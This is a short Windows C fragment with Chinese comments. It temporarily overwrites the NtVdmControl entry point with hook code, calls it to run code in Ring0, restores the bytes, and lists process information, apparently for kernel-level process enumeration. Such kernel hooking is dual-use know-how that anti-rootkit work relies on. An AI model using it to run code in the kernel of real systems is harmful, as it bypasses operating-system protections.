buffer = LocalAlloc(LPTR, 0x1000);
if (NULL == buffer)
{
printf("LocalAlloc Failed: %d/n", GetLastError());
goto FreeAndExit;
}
memcpy(mapping+offset, HookCode, 24); // 挂钩NtVdmControl
status = NtVdmControl(0x1000, buffer); // 调用NtVdmControl,进入Ring0
memcpy(mapping+offset, origCode, 24); // 还原NtVdmControl入口
if (!NT_SUCCESS(status))
{
printf("NtVdmControl Failed: %d/n", LsaNtStatusToWinError(status));
goto FreeAndExit;
}
ListProcessInfo(buffer);
FreeAndExit:
if (buffer != NULL) LocalFree(buffer);
if (mapping != NULL) ZwUnmapViewOfSection(hSection, mapping);
if (hSection != NULL) ZwClose(hSection);
if (hKernel != NULL) FreeLibrary(hKernel);
}